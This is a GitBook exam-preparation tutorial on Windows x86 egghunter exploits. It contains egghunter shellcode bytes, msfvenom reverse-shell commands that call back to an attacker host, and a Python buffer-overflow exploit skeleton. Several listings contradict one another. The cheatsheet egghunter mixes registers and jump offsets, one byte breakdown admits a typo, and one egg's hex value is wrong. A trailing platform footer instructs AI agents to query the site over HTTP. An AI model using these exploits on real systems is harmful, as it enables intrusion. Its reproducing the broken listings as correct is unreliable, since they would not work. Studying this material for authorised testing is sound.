> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/egghunters.md).

# OSED Prep: Overcoming Space Restrictions — Egghunters

> **Topic**: Windows User-Mode Exploit Development (EXP-301 / OSED) **Module**: Overcoming Space Restrictions with Egghunters **Level**: Intermediate–Advanced | Exploit Development

***

## Table of Contents

1. [Introduction](#1-introduction)
2. [The Problem: Insufficient Buffer Space](#2-the-problem-insufficient-buffer-space)
3. [What Is an Egghunter?](#3-what-is-an-egghunter)
4. [How Egghunters Work — Conceptual Overview](#4-how-egghunters-work--conceptual-overview)
5. [Memory Scanning Technique](#5-memory-scanning-technique)
6. [System Call: NtAccessCheckAndAuditAlarm (Windows)](#6-system-call-ntaccesscheckandauditalarm-windows)
7. [The Skape Paper — Key Concepts](#7-the-skape-paper--key-concepts)
8. [Classic Egghunter Shellcode (x86)](#8-classic-egghunter-shellcode-x86)
9. [Egg Design Rules](#9-egg-design-rules)
10. [Placing the Egg + Shellcode in Memory](#10-placing-the-egg--shellcode-in-memory)
11. [Step-by-Step Exploit Integration](#11-step-by-step-exploit-integration)
12. [Egghunter Variants](#12-egghunter-variants)
13. [Practical OSED Lab Workflow](#13-practical-osed-lab-workflow)
14. [Debugging Egghunters in WinDbg / Immunity](#14-debugging-egghunters-in-windbg--immunity)
15. [Common Pitfalls and Fixes](#15-common-pitfalls-and-fixes)
16. [Egghunter vs Other Space-Saving Techniques](#16-egghunter-vs-other-space-saving-techniques)
17. [OSED Exam Tips](#17-osed-exam-tips)
18. [Quick Reference Cheatsheet](#18-quick-reference-cheatsheet)
19. [References](#19-references)

***

## 1. Introduction

In stack-based buffer overflow exploitation, the attacker typically needs to place shellcode somewhere in memory reachable by the instruction pointer. However, many real-world vulnerabilities present a brutal constraint: **the exploitable buffer is too small to hold useful shellcode**.

This is where **egghunters** come in — a proven technique to decouple the shellcode *location* from the shellcode *execution* by using a tiny search stub that hunts through process memory at runtime.

Egghunters are a core OSED topic and regularly appear in:

* Real-world CVEs with small stack/SEH overflows
* Exploit development challenges
* The OSED exam itself

***

## 2. The Problem: Insufficient Buffer Space

### Typical Scenario

```
[BUFFER OVERFLOW]
  ┌──────────────────────────────┐
  │  A * 52  (padding)           │  ← Controls EIP
  │  EIP overwrite (4 bytes)     │  ← JMP ESP / gadget
  │  Available shellcode space   │  ← Only 50–100 bytes
  └──────────────────────────────┘
```

A standard reverse shell (e.g., Meterpreter TCP reverse shell) is typically **350–500+ bytes**. If only 50–150 bytes are available after the EIP overwrite:

* You **cannot** fit the full shellcode in the overflow buffer
* You need shellcode in a **separate, larger memory region**
* You need a mechanism to **find and jump to it**

### Why Not Just Use Jumps?

You might think: *"Can't I just JMP to a known address where I place my shellcode?"*

Problems:

* ASLR randomizes heap/stack addresses
* The large shellcode may not have a static, predictable address
* The application may not give you a direct way to inject into a fixed region

***

## 3. What Is an Egghunter?

An **egghunter** is a small piece of shellcode (typically **32–60 bytes**) that:

1. Iterates through the **virtual address space** of the current process
2. Searches for a unique **egg tag** (a known multi-byte pattern)
3. When found, **transfers execution** to the address immediately following the egg

The real shellcode is prepended with the egg tag and placed elsewhere in memory (e.g., via a second, larger input field, the heap, environment variables, etc.).

```
Small Buffer:                  Elsewhere in Memory:
┌──────────────────┐           ┌─────────────────────────┐
│  egghunter stub  │ ─search─▶ │  EGGSEGG + shellcode    │
│  (32–60 bytes)   │           │  (full reverse shell)   │
└──────────────────┘           └─────────────────────────┘
       ↑
  fits in overflow buffer
```

***

## 4. How Egghunters Work — Conceptual Overview

The core challenge of scanning process memory is **avoiding crashes from reading unmapped/inaccessible pages**.

Naively looping through addresses and dereferencing them will cause an **Access Violation** when hitting unmapped memory — crashing the process (and the exploit).

The solution: **ask the OS** whether a memory page is accessible *before* reading it, using a **system call that safely validates the address**.

### High-Level Algorithm

```
FOR each page in virtual address space:
    IF page is NOT accessible:
        skip to next page (advance by 0x1000)
    ELSE:
        FOR each address in page:
            IF memory[address] == EGG_TAG:
                IF memory[address + 4] == EGG_TAG:  ← double-check
                    JMP address + 8
```

The double-check (looking for the egg twice in a row) ensures we don't accidentally jump into data that coincidentally contains one copy of the tag.

***

## 5. Memory Scanning Technique

### Virtual Address Space Layout (x86 Windows)

```
0x00000000  ─── NULL page (inaccessible)
0x00010000  ─── User-mode memory begins
    ...
    Heap, Stack, DLLs, executable image
    ...
0x7FFFFFFF  ─── End of user-mode space
0x80000000  ─── Kernel space (inaccessible from user mode)
```

The egghunter scans **user-mode memory only** (0x00000000 to 0x7FFFFFFF on 32-bit Windows).

### Page Granularity

Memory is mapped in **4KB pages (0x1000 bytes)**. If the current page is inaccessible, the hunter skips to the **start of the next page**, avoiding byte-by-byte crashes.

***

## 6. System Call: NtAccessCheckAndAuditAlarm (Windows)

The classic Windows egghunter uses `NtAccessCheckAndAuditAlarm`, a Native API system call, to validate memory access.

### Why This Syscall?

* It accepts a **pointer to a Unicode string** as its first argument
* If the pointer is **invalid** (unmapped/inaccessible), the kernel returns `STATUS_ACCESS_VIOLATION (0xC0000005)` **instead of crashing the process**
* If **valid**, it returns something else, and we know we can read from that address

### x86 Syscall Number

| OS Version     | Syscall Number |
| -------------- | -------------- |
| Windows XP SP3 | `0x02`         |
| Windows 7 x86  | `0x02`         |
| Windows 10 x86 | May vary       |

> **Note**: Syscall numbers change between Windows versions. Use `NtAccessCheckAndAuditAlarm` via its stub consistently for OSED lab environments. Always verify the syscall number for your target.

### Alternative Syscalls Used in Egghunters

| Syscall                      | Notes                                          |
| ---------------------------- | ---------------------------------------------- |
| `NtAccessCheckAndAuditAlarm` | Classic Skape technique                        |
| `NtDisplayString`            | Alternative validated-pointer syscall          |
| `IsBadReadPtr`               | Win32 API (deprecated, not recommended)        |
| SEH-based                    | Uses structured exception handling to catch AV |

***

## 7. The Skape Paper — Key Concepts

The foundational reference for egghunters is:

> **"Safely Searching Process Virtual Address Space"** *by Matt Miller (skape), September 2004* <http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf>

### Key Takeaways from the Paper

1. **Three criteria for a good egghunter**:
   * Must be *small* (fits in constrained buffer)
   * Must be *robust* (won't crash on inaccessible memory)
   * Must be *fast* (doesn't take an impractical amount of time)
2. **Three implementations presented**:
   * `NtAccessCheckAndAuditAlarm` syscall (most used)
   * `NtDisplayString` syscall
   * SEH-based (for environments where syscall numbers are unreliable)
3. **Egg design**: Must be executable (in case EIP lands in it during search) and unique enough not to appear randomly in memory.

***

## 8. Classic Egghunter Shellcode (x86)

This is the canonical 32-byte `NtAccessCheckAndAuditAlarm` egghunter:

```nasm
; Egghunter - NtAccessCheckAndAuditAlarm method
; Size: 32 bytes
; Egg: "w00t" (0x74303077) - appears TWICE consecutively

loop_inc_page:
    or   cx, 0x0fff           ; Align to end of page boundary

loop_inc_one:
    inc  ecx                  ; Increment address by 1

loop_check:
    push byte 0x02            ; Push argument for syscall
    pop  eax                  ; EAX = 2 (NtAccessCheckAndAuditAlarm)
    int  0x2e                 ; Invoke syscall (validate ECX)
    cmp  al, 0x05             ; Check if STATUS_ACCESS_VIOLATION
    je   loop_inc_page        ; If AV → skip to next page

    mov  eax, 0x74303077      ; EAX = "w00t" (egg marker)
    cmp  [ecx], eax           ; Does memory at ECX match?
    jne  loop_inc_one         ; No → try next address

    cmp  [ecx+4], eax         ; Does next DWORD also match? (double egg)
    jne  loop_inc_one         ; No → continue searching

    jmp  ecx                  ; Found egg twice! Jump to ECX+8 (shellcode)
```

### Opcodes (Raw Bytes)

```
66 81 C9 FF 0F 41 6A 02 58 CD 2E 3C 05 74 F1
B8 77 30 30 74 89 01 74 EE 39 41 04 75 E9 FF E1
```

> **Total: 32 bytes** — small enough to fit in extremely constrained buffers.

### Annotated Byte Breakdown

```
66 81 C9 FF 0F  → OR CX, 0x0FFF
41              → INC ECX
6A 02           → PUSH 2
58              → POP EAX
CD 2E           → INT 0x2E
3C 05           → CMP AL, 5
74 F1           → JE loop_inc_page (-15)
B8 77 30 30 74  → MOV EAX, 0x74303077  ("w00t")
89 01           → -- (typo in some versions; actual: 39 01)
74 EE           → JE ...
39 41 04        → CMP [ECX+4], EAX
75 E9           → JNE loop_inc_one
FF E1           → JMP ECX
```

> Always verify your byte sequence in a disassembler (e.g., `!mona egg` output or `nasm`).

***

## 9. Egg Design Rules

### The Egg Tag

The egg is a **4-byte sequence** that is:

* Placed **twice consecutively** in memory before your shellcode
* Searched for by the egghunter as two adjacent DWORDs

### "w00t" Example

```python
egg = b"w00t"           # 4 bytes
egg_double = egg * 2    # b"w00tw00t" — prepended to shellcode
```

### Rules for Choosing a Good Egg

| Rule                                          | Reason                                          |
| --------------------------------------------- | ----------------------------------------------- |
| Must be **4 bytes**                           | Matches DWORD comparison in egghunter           |
| Must **not appear** in the egghunter itself   | Avoid false positive — egghunter finding itself |
| Must be **printable or alphanumeric** (often) | Application may filter non-printable bytes      |
| Must be **unique**                            | Unlikely to appear randomly in process memory   |
| Should be **valid x86 instructions**          | In case EIP executes it during search           |

### Checking "w00t" Disassembly

```
77 30 30 74  →  JA 0x32  (valid, benign jump instruction)
```

This is intentional — if the egghunter's search briefly executes the egg tag bytes, they act as a harmless jump.

### Alternative Eggs

```python
egg = b"h4x0"   # 0x3078346800  → check disassembly
egg = b"LOLO"   # 0x4C4F4C4F
egg = b"1337"   # 0x37333331
```

Always run your chosen egg through a disassembler to confirm it won't cause issues.

***

## 10. Placing the Egg + Shellcode in Memory

### The Two-Buffer Strategy

You need **two separate injection points** in the vulnerable application:

```
Injection Point 1 (small — e.g., overflow buffer):
  [padding] + [EIP overwrite → JMP ESP] + [egghunter shellcode]

Injection Point 2 (large — e.g., another field, header, cookie):
  [egg + egg + real shellcode]
```

### Common Locations for the Large Shellcode

| Location                      | Example                              |
| ----------------------------- | ------------------------------------ |
| Second HTTP header field      | `User-Agent:`, `Cookie:`, `Referer:` |
| Large GET/POST parameter      | `username=`, `filename=`             |
| Environment variables         | `PATHEXT`, custom vars               |
| Heap via repeated allocations | malloc'd strings that persist        |
| Another packet in the session | Multi-stage protocol payloads        |

### Memory Layout at Runtime

```
[Stack]
  EIP → JMP ESP
  ESP → egghunter bytecode (32 bytes)
        ↓
        scans memory...

[Heap / other region]
  0xNNNN0000: 77 30 30 74  ← "w00t" (egg #1)
  0xNNNN0004: 77 30 30 74  ← "w00t" (egg #2)
  0xNNNN0008: shellcode... ← JMP ECX lands here
```

***

## 11. Step-by-Step Exploit Integration

### Step 1 — Identify the Overflow and Space

```python
# Determine available shellcode space after EIP overwrite
buf = b"A" * offset
buf += b"B" * 4       # EIP
buf += b"C" * 200     # How many C's land on stack?
# Check in debugger: ESP region
```

### Step 2 — Confirm a Second Injection Vector

Send a long string in another field and verify it lands in memory as-is, without truncation or corruption:

```python
buf2 = b"D" * 1000
# In debugger: search for DDDD pattern → note address range
```

### Step 3 — Generate Egghunter

Using `mona.py` in Immunity Debugger:

```
!mona egg -t w00t
```

Output: `egghunter.bin` — 32 bytes.

Or manually assemble with `nasm`:

```bash
nasm -f bin egghunter.asm -o egghunter.bin
xxd egghunter.bin
```

### Step 4 — Generate Real Shellcode

```bash
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.45.X LPORT=4444 \
  -f python -b "\x00\x0a\x0d" \
  -v shellcode
```

### Step 5 — Build the Exploit

```python
import socket

egg = b"w00t" * 2  # double egg

# Bad chars verified; adjust as needed
egghunter = (
    b"\x66\x81\xc9\xff\x0f\x41\x6a\x02\x58\xcd\x2e\x3c"
    b"\x05\x74\xf1\xb8\x77\x30\x30\x74\x89\x01\x74\xee"
    b"\x39\x41\x04\x75\xe9\xff\xe1"
)

shellcode = (
    b"\xfc\xe8\x82..."  # msfvenom output
)

# Overflow buffer (small field)
offset = 524
eip    = b"\xXX\xXX\xXX\xXX"  # JMP ESP address (from !mona jmp -r esp)
nop    = b"\x90" * 8
buf1   = b"A" * offset + eip + nop + egghunter

# Large field carrying real shellcode
buf2   = egg + shellcode

# Send buf2 FIRST so it's in memory when egghunter runs
send_large_field(buf2)
send_overflow(buf1)
```

### Step 6 — Verify

In the debugger:

1. Break at EIP overwrite → confirm jump to egghunter
2. Step through egghunter → watch ECX increment through pages
3. Confirm ECX hits the egg tag address
4. Confirm `JMP ECX` → lands at shellcode start

***

## 12. Egghunter Variants

### 12.1 — SEH-Based Egghunter

Used when syscall numbers are unreliable or the `INT 0x2E` method is filtered.

```nasm
; Uses Structured Exception Handling to catch AV exceptions
; when reading unmapped memory
; Size: ~60 bytes (larger than syscall version)

xor  eax, eax
mov  edi, esp
sub  edi, 0x1000       ; Place SEH frame below stack

; ... set up SEH chain, attempt read, catch exception ...
```

### 12.2 — Unicode-Compatible Egghunter

If the input is processed as Unicode (UTF-16LE), the shellcode bytes get zero-padded. A special **venetian shellcode** / Unicode-aware egghunter must be used.

```
Normal:   \x66\x81\xc9...
Unicode:  \x66\x00\x81\x00\xc9\x00...
```

The Venetian technique aligns opcodes at even offsets and uses only instructions whose odd bytes are effectively NOPs.

### 12.3 — Alphanumeric Egghunter

When the application only accepts alphanumeric characters (A-Z, a-z, 0-9), the egghunter must be **encoded** to use only those byte ranges.

Tools: `msfvenom -e x86/alpha_mixed`, manual crafting via ALPHA2.

### 12.4 — 64-bit Egghunter (x64)

For 64-bit processes, the egghunter must use:

* 64-bit registers (`RCX`, `RAX`, etc.)
* Appropriate Windows x64 syscall convention
* Adjust for 64-bit page alignment

```nasm
; x64 skeleton — uses NtAccessCheckAndAuditAlarm (syscall number varies)
xor  rcx, rcx
...
syscall
cmp  al, 0x05
je   next_page
...
```

***

## 13. Practical OSED Lab Workflow

```
1. Crash the application
        │
        ▼
2. Determine EIP control offset
        │
        ▼
3. Find JMP ESP (or equivalent) in non-ASLR module
        │
        ▼
4. Measure available buffer space after EIP
        │
        ▼
5. Identify bad characters
        │
        ▼
6. Locate second injection vector (large buffer)
        │
        ▼
7. Generate egghunter (mona / manual)
        │
        ▼
8. Generate shellcode (msfvenom, custom)
        │
        ▼
9. Build PoC: send egg+shellcode to large field FIRST
        │
        ▼
10. Send overflow with egghunter in small buffer
        │
        ▼
11. Debug: trace egghunter → verify egg found → shellcode executes
        │
        ▼
12. Catch shell
```

***

## 14. Debugging Egghunters in WinDbg / Immunity

### Immunity Debugger

```python
# mona commands

# Generate egghunter
!mona egg -t w00t

# Find your egg in memory (after sending buf2)
!mona find -s "w00tw00t" -type bin

# Check JMP ESP gadgets
!mona jmp -r esp -m "module.dll"

# Find bad chars
!mona bytearray -b "\x00"
!mona compare -f C:\mona\bytearray.bin -a <ESP_address>
```

### WinDbg

```windbg
; Search for egg tag "w00tw00t" in memory
s -d 0x0 L?0x7fffffff 0x74303077 0x74303077

; Set breakpoint at egghunter start
bp <egghunter_address>

; Step through
t   ← trace (step into)
p   ← step over

; Display registers
r
```

### Key Registers to Watch

| Register | Role During Egghunt              |
| -------- | -------------------------------- |
| `ECX`    | Current search address           |
| `EAX`    | Holds syscall number / egg value |
| `EIP`    | Should be inside egghunter loop  |

### Common Breakpoint Strategy

1. `bp` at first byte of egghunter
2. Run to confirm it starts
3. `!mona find -s "w00tw00t"` to get expected egg address
4. Set `bp` at that address
5. Continue — egghunter should stop there when it finds the egg

***

## 15. Common Pitfalls and Fixes

| Problem                     | Cause                                         | Fix                                                     |
| --------------------------- | --------------------------------------------- | ------------------------------------------------------- |
| Egghunter crashes app       | AV on unmapped page not handled               | Use correct syscall; verify INT 0x2E works on target OS |
| Egghunter finds itself      | Egg bytes appear in egghunter code            | Choose a different egg tag                              |
| Egghunter loops forever     | Shellcode + egg never loaded into memory      | Send buf2 (egg + shellcode) BEFORE the overflow         |
| Shellcode corrupted         | Bad chars in shellcode                        | Re-run bad char analysis; re-encode shellcode           |
| Wrong syscall number        | OS version mismatch                           | Check syscall number for target Windows version         |
| Egg in wrong field          | Application processes/filters the large field | Try alternative injection fields                        |
| Shellcode runs but no shell | Firewall / wrong LHOST                        | Check listener, try different port                      |
| Unicode corruption          | App processes as UTF-16                       | Use Unicode-aware egghunter                             |

***

## 16. Egghunter vs Other Space-Saving Techniques

| Technique                          | Use Case                                        | Size Required            | Complexity |
| ---------------------------------- | ----------------------------------------------- | ------------------------ | ---------- |
| **Egghunter**                      | Small buffer, second injection point available  | \~32 bytes               | Medium     |
| **Jump chaining**                  | Multiple small buffers, controlled sequentially | Varies                   | High       |
| **Environment variable shellcode** | Can control env vars of target process          | \~20 bytes (getenv stub) | Medium     |
| **Socket reuse**                   | Network service; reuse existing socket          | \~100 bytes              | High       |
| **Stack pivot + ROP**              | DEP enabled; no exec stack                      | \~20 bytes (pivot)       | Very High  |
| **Omelet shellcode**               | Multiple very tiny buffers assembled            | \~50 bytes               | Very High  |

### When to Use an Egghunter

✅ Use egghunter when:

* Buffer after EIP < 100 bytes
* A second, larger buffer exists in the same process
* DEP is **disabled** (stack is executable)
* Target is 32-bit Windows

❌ Don't use egghunter when:

* DEP is enabled (shellcode on heap/stack won't execute — need ROP)
* No second injection vector exists
* The application heavily filters the large buffer

***

## 17. OSED Exam Tips

1. **Always verify your egghunter bytes** — copy from mona output, not memory. Transcription errors are common.
2. **Send the egg+shellcode buffer FIRST** — the egghunter will loop until it finds the egg. If it's not in memory yet, it just keeps scanning (not great for stability).
3. **Increase sleep/timing** between sends if needed — give the application time to process buf2 before the overflow fires.
4. **Check bad chars in BOTH buffers** — your overflow field and your shellcode field may have different filtering.
5. **Use a NOP sled before shellcode** (inside the egg buffer) for reliability:

   ```python
   buf2 = egg + b"\x90" * 16 + shellcode
   ```
6. **Test the egghunter standalone** — craft a simple test that puts the egg+shellcode at a known address and verify the hunter reaches it before attempting the full exploit.
7. **Document your gadget addresses** — record the `JMP ESP` address, module it came from, ASLR status.
8. **Know the 32-byte egghunter cold** — be able to explain every byte, every jump, every condition.

***

## 18. Quick Reference Cheatsheet

### Egghunter Shellcode (Python)

```python
# Classic NtAccessCheckAndAuditAlarm Egghunter (32 bytes)
# Egg: "w00t" (0x74303077)

egghunter = b""
egghunter += b"\x66\x81\xc9\xff\x0f"   # OR CX, 0x0FFF
egghunter += b"\x41"                    # INC ECX
egghunter += b"\x6a\x02"               # PUSH 2
egghunter += b"\x58"                    # POP EAX
egghunter += b"\xcd\x2e"               # INT 0x2E
egghunter += b"\x3c\x05"               # CMP AL, 5
egghunter += b"\x74\xf1"               # JE loop_inc_page
egghunter += b"\xb8\x77\x30\x30\x74"  # MOV EAX, 'w00t'
egghunter += b"\x8b\xf9"               # -- (see note)
egghunter += b"\xaf"                    # SCASD (compare EAX with [EDI], inc EDI)
egghunter += b"\x75\xea"               # JNZ loop_inc_one
egghunter += b"\xaf"                    # SCASD again (double egg check)
egghunter += b"\x75\xe7"               # JNZ loop_inc_one
egghunter += b"\xff\xe7"               # JMP EDI (to shellcode)
```

> **Note**: Multiple egghunter implementations exist. The one above uses `SCASD` (scan string double) which auto-increments EDI. Use `!mona egg -t w00t` for the authoritative version for your lab.

### Egg Buffer

```python
egg      = b"w00t"
egg_tag  = egg * 2         # "w00tw00t"
nop_sled = b"\x90" * 16

buf2 = egg_tag + nop_sled + shellcode
```

### msfvenom Shellcode

```bash
msfvenom -p windows/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=443 \
  EXITFUNC=thread \
  -f python \
  -b "\x00\x0a\x0d" \
  -v shellcode
```

### Mona Commands

```
!mona egg -t w00t                          # Generate egghunter
!mona jmp -r esp                           # Find JMP ESP
!mona bytearray -b "\x00"                 # Generate badchar array
!mona compare -f C:\mona\bytearray.bin -a <addr>  # Compare
!mona find -s "w00tw00t" -type bin        # Find egg in memory
```

***

## 19. References

| Resource                          | Link                                                                                                                        |
| --------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| Skape's Egghunter Paper           | [hick.org — Safely Searching Process VAS](http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)                      |
| Offensive Security EXP-301 / OSED | [offensive-security.com](https://www.offensive-security.com/exp301-osed/)                                                   |
| Mona.py Documentation             | [github.com/corelan/mona](https://github.com/corelan/mona)                                                                  |
| x86 Instruction Reference         | [felixcloutier.com/x86](https://www.felixcloutier.com/x86/)                                                                 |
| Windows NT Native API             | [undocumented.ntinternals.net](http://undocumented.ntinternals.net/)                                                        |
| NASM Documentation                | [nasm.us](https://www.nasm.us/doc/)                                                                                         |
| WinDbg Reference                  | [docs.microsoft.com/windows-hardware/drivers/debugger](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/) |

***

> **Disclaimer**: This document is for educational purposes and authorized penetration testing / exam preparation only. Use these techniques only on systems you have explicit permission to test.

***

*Last updated: June 2026 | OSED Prep Series*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/egghunters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
